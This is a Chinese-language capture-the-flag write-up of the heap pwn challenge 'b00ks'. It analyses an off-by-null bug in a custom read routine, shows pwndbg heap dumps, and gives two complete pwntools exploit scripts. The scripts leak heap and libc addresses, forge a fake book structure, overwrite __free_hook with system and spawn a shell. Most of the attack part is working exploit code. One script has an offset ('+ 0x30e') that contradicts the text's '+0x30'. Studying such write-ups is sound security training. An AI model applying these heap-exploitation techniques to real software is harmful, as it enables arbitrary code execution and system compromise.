Eureka's Studio.

(溢出伪造)b00ks

2023/11/01

入门off_by_one的好题 不过由于堆题逻辑都比较复杂 所以分析和wp的撰写就由exp的顺序进行了 正常的解题肯定不是这个分析顺序

[溢出伪造]b00ks

分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
signed __int64 change_sub_B6D()
{
printf("Enter author name: ");
if ( !(unsigned int)my_read_sub_9F5(off_202018, 32) )
return 0LL;
printf("fail to read author_name", 32LL);
return 1LL;
}

signed __int64 __fastcall my_read_sub_9F5(_BYTE *a1, int a2)
{
int i; // [rsp+14h] [rbp-Ch]
_BYTE *buf; // [rsp+18h] [rbp-8h]

if ( a2 <= 0 )
return 0LL;
buf = a1;
for ( i = 0; ; ++i )
{
if ( (unsigned int)read(0, buf, 1uLL) != 1 )
return 1LL;
if ( *buf == 10 )
break;
++buf;
if ( i == a2 )
break;
}
*buf = 0;
return 0LL;
}

对于sub_9F5函数而言 作为一个自己写的read功能函数 存在了边界错误的情况 *a1是传入时malloc的内存 a2是固定长度32 然而如果是指定32个字节 那么循环中的i就应该从1起算 不然会导致buf++后最后会多一个字节 可以带入a2=3验证一下buf[4]是不是等于0 所以此处有off_by_null的漏洞

1
2
3
4
5
6
                          +---------+---------+---------+
book_control_heap | book_id |book_name|book_desc|
(bss_base + 0x202040) +---------+---------+---------+
| |
| |
heap1 heap2

以上这些都是我自己命名的 直接干讲可能会有点不好理解 在这先将该程序的堆结构列出 而后在进行分别讲解 首先是id name和desc三个字段的存储

1
2
3
4
5
6
7
8
9
10
v3 = malloc(0x20uLL);
if ( v3 )
{
*((_DWORD *)v3 + 6) = size_v1;
*((_QWORD *)off_202010 + v2) = v3;
*((_QWORD *)v3 + 2) = desc_v5;
*((_QWORD *)v3 + 1) = name_ptr;
*(_DWORD *)v3 = ++unk_202024;
return 0LL;
}

这是sub_F55函数 也就是create book功能对应函数中的代码 一个QWORD代表8字节 DWORD代表4字节 因此v3的初始8位存放着id(unk_202024初始为0) 再8位存放着name 再8位存放着desc 再8位存放着size 以上都从user_data区开始计算

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x555555757000
Size: 0x411

Allocated chunk | PREV_INUSE <--- book1_name_heap
Addr: 0x555555757410
Size: 0x31

Allocated chunk | PREV_INUSE <--- book1_desc_heap
Addr: 0x555555757440
Size: 0x31

Allocated chunk | PREV_INUSE <--- book1_control_heap
Addr: 0x555555757470
Size: 0x31

Top chunk | PREV_INUSE
Addr: 0x5555557574a0
Size: 0x20b61

pwndbg> x/20gx 0x555555757470
0x555555757470: 0x0000000000000000 0x0000000000000031
0x555555757480: 0x0000000000000001 0x0000555555757420
0x555555757490: 0x0000555555757450 0x0000000000000020
0x5555557574a0: 0x0000000000000000 0x0000000000020b61
0x5555557574b0: 0x0000000000000000 0x0000000000000000
0x5555557574c0: 0x0000000000000000 0x0000000000000000
0x5555557574d0: 0x0000000000000000 0x0000000000000000
0x5555557574e0: 0x0000000000000000 0x0000000000000000
0x5555557574f0: 0x0000000000000000 0x0000000000000000
0x555555757500: 0x0000000000000000 0x0000000000000000

book_control_heap ---> 0x555555757440
book_id ---> 0x1
book_name ---> 0x555555757420
book_desc ---> 0x555555757450
book_size ---> 0x20

我们可以看到确实如此 结合我们刚刚的结构图就可以对他的大致流程有一个了解了 对于book_control_heap他的地址在命名之后也会存储在bss段上

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
signed __int64 sub_B24()
{
signed int i; // [rsp+0h] [rbp-4h]

for ( i = 0; i <= 19; ++i )
{
if ( !*((_QWORD *)off_202010 + i) )
return (unsigned int)i;
}
return 0xFFFFFFFFLL;
}

v2 = sub_B24();
*((_QWORD *)off_202010 + v2) = v3;

.data:0000000000202010 off_202010 dq offset unk_202060 ; DATA XREF: sub_B24:loc_B38↑o
.data:0000000000202010 ; del_sub_BBD:loc_C1B↑o ...
.data:0000000000202018 off_202018 dq offset unk_202040 ; DATA XREF: change_sub_B6D+15↑o

以上都是节选 全放下来太多了 v2经过B24函数之后 相当于初始化了 第一本书就是0第二本书就是1以此类推 然后注意我们的QWORD代表8字节 那么如果我们的第一本书的control_heap地址就该存放在unk_202060

1
2
3
4
5
6
7
8
9
10
11
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x555555554000 0x555555556000 r-xp 2000 0 /home/apple/Desktop/b00ks
0x555555755000 0x555555756000 r--p 1000 1000 /home/apple/Desktop/b00ks
0x555555756000 0x555555757000 rw-p 1000 2000 /home/apple/Desktop/b00ks

pwndbg> x/20gx 0x555555554000 + 0x202040
0x555555756040: 0x6161616161616161 0x0000000000000000
0x555555756050: 0x0000000000000000 0x0000000000000000
0x555555756060: 0x0000555555757480 0x0000000000000000
(book1_control_heap)

bss段的起始地址我们是能够看到的 为啥取0x202040是因为这是author_name的存储地址 在这就能够看到author_name与book1_control_heap地址相差的正好是0x20 如果我们的author_name输入长度为32(所给最大长度) 那么由于边界错误 buf的第33个字节为x00就能覆盖control_heap的最后一个字节 进而更改在这存储的book1_control_heap地址 达到欺骗计算机目的 进而引导到我们所构造的fake_heap中

泄漏地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
context.log_level = 'debug'
sh = process('./b00ks')

def add(size1,name,size2,desc):
sh.recvuntil('>')
sh.sendline('1')
sh.recvuntil('Enter book name size:')
sh.sendline(str(size1))
sh.recvuntil('Enter book name (Max 32 chars):')
sh.sendline(name)
sh.recvuntil('Enter book description size:')
sh.sendline(str(size2))
sh.recvuntil('Enter book description:')
sh.sendline(desc)

def show():
sh.recvuntil('>')
sh.sendline('4')

gdb.attach(sh)

sh.recvuntil('Enter author name:')
sh.sendline('a' * 32)
add(0x90, 'aaaa', 0x90, 'bbbb')

show()
sh.recvuntil('aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa')
book1_addr = u64(sh.recv(6).ljust(8,'\\0'))

因为printf的特性 在读取到x00之前都不会停止输出 我们如果将author_name的0x20塞满 那么printf就会输出book1_control_heap的地址了 至于为什么要申请0x90大小后面会说 有细心的读者也会发现create时没有对输入的size大小进行限制

1
2
3
4
5
6
7
8
9
10
11
12
13
14
def add(size1,name,size2,desc):
sh.recvuntil('>')
sh.sendline('1')
sh.recvuntil('Enter book name size:')
sh.sendline(str(size1))
sh.recvuntil('Enter book name (Max 32 chars):')
sh.sendline(name)
sh.recvuntil('Enter book description size:')
sh.sendline(str(size2))
sh.recvuntil('Enter book description:')
sh.sendline(desc)

add(0x21000, 'cccc', 0x21000, 'dddd')
book2_addr = book1_addr + 0x30

在我们申请一个超过128KB的堆空间时 我们的book2_name和book2_desc确实是存储在mmap申请的很高的堆地址空间中 但是我们的book2_control_heap地址是在book1_control_heap的高0x30处 因为这个control_heap是程序已经定死的 具体可以看sub_F55函数部分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#After add(0x21000, 'cccc', 0x21000, 'dddd')

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x55e1603a8000
Size: 0x1011

Allocated chunk | PREV_INUSE
Addr: 0x55e1603a9010
Size: 0xa1

Allocated chunk | PREV_INUSE
Addr: 0x55e1603a90b0
Size: 0xa1

Allocated chunk | PREV_INUSE <--- book1_control_heap
Addr: 0x55e1603a9150
Size: 0x31

Allocated chunk | PREV_INUSE <--- book2_control_heap
Addr: 0x55e1603a9180
Size: 0x31

Top chunk | PREV_INUSE
Addr: 0x55e1603a91b0
Size: 0x20e51

pwndbg> x/20gx 0x55e1603a9180
0x55e1603a9180: 0x0000000000000000 0x0000000000000031
0x55e1603a9190: 0x0000000000000002 0x00007fb66514a010
0x55e1603a91a0: 0x00007fb665128010 0x0000000000021000
0x55e1603a91b0: 0x0000000000000000 0x0000000000020e51
0x55e1603a91c0: 0x0000000000000000 0x0000000000000000
0x55e1603a91d0: 0x0000000000000000 0x0000000000000000

至此 book2_control_heap的地址获得了 book1的+0x30即可

伪造HEAP

程序输入的逻辑是这样的

1
2
3
4
1. bss + 0x202040:author_name
2. bss + 0x202060:book1_control_heap
3. bss + 0x202060 + 0x8:book2_control_heap
...

所以第一次输入的author_name其实覆盖不了book1_control_heap 先后顺序的原因 所以得create book1之后再进行一次输入 才能覆盖 代码我就不贴了 注意我重新调试了一下 不要纠结于上面的那些地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
pwndbg> x/20gx 0x55f743a7e000 + 0x202040
0x55f743c80040: 0x6161616161616161 0x6161616161616161
0x55f743c80050: 0x6161616161616161 0x6161616161616161
0x55f743c80060: 0x000055f7450e8100 0x000055f7450e8190

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x55f7450e7000
Size: 0x1011

Allocated chunk | PREV_INUSE
Addr: 0x55f7450e8010
Size: 0xa1

Allocated chunk | PREV_INUSE
Addr: 0x55f7450e80b0
Size: 0xa1

Allocated chunk | PREV_INUSE
Addr: 0x55f7450e8150
Size: 0x31

Allocated chunk | PREV_INUSE
Addr: 0x55f7450e8180
Size: 0x31

Top chunk | PREV_INUSE
Addr: 0x55f7450e81b0
Size: 0x20e51

我们将book1_control_heap的地址覆盖成了0x55f7450e8100 也就是说我们要在这个地址上伪造一个堆 对于我们伪造的这个堆而言 他的地址处于book1_desc与book1_control_heap之间 那么为了我们堆空间利用难度而言 我们伪造的这个堆地址需要尽可能靠近book1_desc 也要尽可能远离book1_control_heap 这需要以下两点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
1.book1_desc的堆空间要适度
2.book1_name的堆空间大小要多次调试 防止book1_desc的堆起始地址过高

#exp

payload = 'a' * 0x40 + p64(1) + p64(book2_addr + 0x8) * 2 + p64(0x1000)
edit(1,payload)

#伪造后的情况如下
pwndbg> x/20gx 0x55f7450e80b0
0x55f7450e80b0: 0x0000000000000000 0x00000000000000a1
0x55f7450e80c0: 0x6161616161616161 0x6161616161616161
0x55f7450e80d0: 0x6161616161616161 0x6161616161616161
0x55f7450e80e0: 0x6161616161616161 0x6161616161616161
0x55f7450e80f0: 0x6161616161616161 0x6161616161616161
0x55f7450e8100: 0x0000000000000001 0x000055f7450e8198
0x55f7450e8110: 0x000055f7450e8198 0x0000000000001000
0x55f7450e8120: 0x0000000000000000 0x0000000000000000

我们肯定只能从book1_desc入手修改 程序正好提供了修改的函数 不然得覆盖好多数据 我们伪造的是book1 所以id是1 至于name和desc无所谓都用book2的name即可 反正只需要打印出其中一个地址就行 用自带的show打印出其中一个地址 与libc相减做差后就可以得到libc基地址 不过这个基地址每个人不一样

1
2
3
4
5
6
7
8
9
10
payload = 'a' * 0x40 + p64(1) + p64(book2_addr + 0x8) * 2 + p64(0x1000)
edit(1,payload)
change_name()
show()
#pause()
sh.recvuntil('Name: ')
book2_name_addr = u64(sh.recv(6).ljust(8,'\\0'))
print hex(book2_name_addr)

libc_base = book2_name_addr - 0x5b1010

FREE_HOOK

free_hook的作用就是在malloc或者free他时 会去调用这个指针所指向的东西 好好使用功能是很强大的 但是如果存了system 危害也是极大的

1
2
3
4
5
6
7
8
if ( i != 20 )
{
free(*(void **)(*((_QWORD *)off_202010 + i) + 8LL));
free(*(void **)(*((_QWORD *)off_202010 + i) + 16LL));
free(*((void **)off_202010 + i));
*((_QWORD *)off_202010 + i) = 0LL;
return 0LL;
}

对于此题而言唯一可控的free在del book处 逐个free掉book_name和book_desc 不过由于我们执行的system需要参数 所以free_hook写在book_desc上

1
2
edit(1, p64(binsh) + p64(free_hook))
edit(2, p64(system_addr))

要执行system的话 我们需要往free_hook所指向的地址写入system 回顾一下我们写入的free_hook地址 在我们伪造的book1_desc处

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x55c269fb6000
Size: 0x1011

Allocated chunk | PREV_INUSE
Addr: 0x55c269fb7010
Size: 0xa1

Allocated chunk | PREV_INUSE
Addr: 0x55c269fb70b0
Size: 0xa1

Allocated chunk | PREV_INUSE
Addr: 0x55c269fb7150
Size: 0x31

Allocated chunk | PREV_INUSE
Addr: 0x55c269fb7180
Size: 0x31

Top chunk | PREV_INUSE
Addr: 0x55c269fb71b0
Size: 0x20e51

pwndbg> x/20gx 0x55c269fb70b0
0x55c269fb70b0: 0x0000000000000000 0x00000000000000a1. real_book_control_heap
0x55c269fb70c0: 0x6161616161616161 0x6161616161616161
0x55c269fb70d0: 0x6161616161616161 0x6161616161616161
0x55c269fb70e0: 0x6161616161616161 0x6161616161616161
0x55c269fb70f0: 0x6161616161616161 0x6161616161616161
0x55c269fb7100: 0x0000000000000001 0x000055c269fb7198 fake_book1_conrol_heap
0x55c269fb7110: 0x000055c269fb7198 0x0000000000001000
0x55c269fb7120: 0x0000000000000000 0x0000000000000000
0x55c269fb7130: 0x0000000000000000 0x0000000000000000
0x55c269fb7140: 0x0000000000000000 0x0000000000000000
pwndbg> x/20gx 0x55c269fb7180
0x55c269fb7180: 0x0000000000000000 0x0000000000000031
0x55c269fb7190: 0x0000000000000002 0x00007ff5d5007e57 book2_control_heap
0x55c269fb71a0: 0x00007ff5d52417a8 0x0000000000021000
0x55c269fb71b0: 0x0000000000000000 0x0000000000020e51
0x55c269fb71c0: 0x0000000000000000 0x0000000000000000
0x55c269fb71d0: 0x0000000000000000 0x0000000000000000
0x55c269fb71e0: 0x0000000000000000 0x0000000000000000
0x55c269fb71f0: 0x0000000000000000 0x0000000000000000
0x55c269fb7200: 0x0000000000000000 0x0000000000000000
0x55c269fb7210: 0x0000000000000000 0x0000000000000000

肯定有人有疑问为啥还要兜一圈用伪造的book1_control_heap写入book2_name和book2_desc数据呢 不是可以直接edit(2)吗 这是因为如果直接edit(2) 那么我们写入的地址是用mmap生成的一个很高的地址 这个地址我们是无法泄漏的 顶天写入free_hook 无法下一步操作 但是如果我们用fake_book_name和desc进行写入的话 我们写入的是上图中的0x55c269fb7198 而这个地址我们就算不调试也是已知的 允许二次写入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
from pwn import *
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
context.log_level = 'debug'
sh = process('./b00ks')
elf = ELF('./b00ks')
libc = elf.libc

def change_name():
sh.recvuntil('>')
sh.sendline('5')
sh.recvuntil(':')
sh.sendline('a' * 32)

def add(size1,name,size2,desc):
sh.recvuntil('>')
sh.sendline('1')
sh.recvuntil('Enter book name size:')
sh.sendline(str(size1))
sh.recvuntil('Enter book name (Max 32 chars):')
sh.sendline(name)
sh.recvuntil('Enter book description size:')
sh.sendline(str(size2))
sh.recvuntil('Enter book description:')
sh.sendline(desc)

def edit(id,payload):
sh.recvuntil('>')
sh.sendline('3')
sh.recvuntil('Enter the book id you want to edit:')
sh.sendline(str(id))
sh.recvuntil('Enter new book description:')
sh.sendline(payload)

def show():
sh.recvuntil('>')
sh.sendline('4')

def free(index):
sh.sendlineafter('> ', '2')
sh.sendlineafter(': ', str(index))

#gdb.attach(sh)

sh.recvuntil('Enter author name:')
sh.sendline('a' * 32)
add(0x90, 'aaaa', 0x90, 'bbbb')

show()
sh.recvuntil('aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa')
book1_addr = u64(sh.recv(6).ljust(8,'\\0'))
book2_addr = book1_addr + 0x30e
print ('book1_addr = ', hex(book1_addr))

add(0x21000, 'cccc', 0x21000, 'dddd')

#pause()

payload = 'a' * 0x40 + p64(1) + p64(book2_addr + 0x8) * 2 + p64(0x1000)
edit(1,payload)
change_name()
show()
#pause()
sh.recvuntil('Name: ')
book2_name_addr = u64(sh.recv(6).ljust(8,'\\0'))
print hex(book2_name_addr)

libc_base = book2_name_addr - 0x5b1010
free_hook = libc_base + libc.sym['__free_hook']
system_addr = libc_base + libc.sym['system']
binsh = libc_base + libc.search('/bin/sh').next()

edit(1, p64(binsh) + p64(free_hook))
edit(2, p64(system_addr))
#pause()
free(2)
#pause()
sh.interactive()

最后将book2给free了即可 因为我们是写到book2上的 不过这个exp对环境要求比较高 远程没通

Unsorted bin

原理其实很简单 当一个比较大(自己调试)的chunk被free之后 他会进入unsorted bin中 而这个unsorted bin中的的fd或者bk指针与libc的基址差值也是个固定值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']

sh = process('./b00ks')
#sh = remote('node4.buuoj.cn',27783)
libc = ELF('/home/apple/Desktop/buulibc/libc-2.23.buu.so')
elf = ELF('./b00ks')
#libc1 = elf.libc

def create(name_size, name, desc_size, desc):
sh.sendline('1')
sh.recvuntil('Enter book name size:')
sh.sendline(str(name_size))
sh.recvuntil('Enter book name (Max 32 chars)')
sh.sendline(name)
sh.recvuntil('Enter book description size:')
sh.sendline(str(desc_size))
sh.recvuntil('Enter book description:')
sh.sendline(desc)

def change():
sh.sendline('5')
sh.recvuntil('Enter author name:')
sh.sendline('a' * 0x20)

def show():
sh.sendline('4')

def free(id):
sh.sendline('2')
sh.recvuntil('Enter the book id you want to delete:')
sh.sendline(str(id))

def edit(id,payload):
sh.recvuntil('>')
sh.sendline('3')
sh.recvuntil('Enter the book id you want to edit:')
sh.sendline(str(id))
sh.recvuntil('Enter new book description:')
sh.sendline(payload)

gdb.attach(sh)

sh.recvuntil('Enter author name:')
sh.sendline('a' * 0x20)

sh.recvuntil('>')
create(0x80, 'aaaaaaaa', 0x80, 'bbbbbbbb')
sh.recvuntil('>')
show()
sh.recvuntil('a' * 0x20)
book1_addr = u64(sh.recv(6).ljust(8,'\\0'))
print('book1_addr = ', hex(book1_addr))

sh.recvuntil('>')
create(0x80, 'aaaa', 0x80, 'bbbb')

sh.recvuntil('>')
create(0x20, '/bin/sh\\x00', 0x20, 'bbbb')
unsorted_bin_addr = book1_addr + 0x30
#pause()
payload = 'a' * 0x50 + p64(1) + p64(unsorted_bin_addr + 0x8) + p64(book1_addr + 0x1d0 + 0x20) + p64(0x20)

edit(1, payload)

sh.recvuntil('>')
change()

free(2)

sh.recvuntil('>')
show()
#pause()
sh.recvuntil('Name: ')
libc_base = u64(sh.recv(6).ljust(8,'\\0')) - 0x3c4b78
print('libc_base = ', hex(libc_base))

free_hook = libc_base + libc.sym['__free_hook']
system_addr = libc_base + libc.sym['system']
print ('system_addr = ', hex(system_addr))
#binsh_addr = libc_base + libc.search('/bin/sh').next()
#pause()
#payload = p64(binsh_addr) + p64(free_hook)

edit(1, p64(free_hook) + p64(0x10))
#pause()
edit(3, p64(system_addr))
#pause()
sleep(15)
free(3)

sh.interactive()

所以大体还是那样 只不过有两个比较玄学的问题 第一是关于binsh字段的 之前修改时payload是binsh + free_hook 可是这样的payload在这个exp中打不通 这样子的free_hook写不进system 于是转变了一下思路 在一开始就在name字段写进binsh 然后就是那个sleep 不sleep(15)的话没办法free

CATALOG
  1. 1. [溢出伪造]b00ks
    1. 1.1. 分析
    2. 1.2. 泄漏地址
    3. 1.3. 伪造HEAP
    4. 1.4. FREE_HOOK
    5. 1.5. Unsorted bin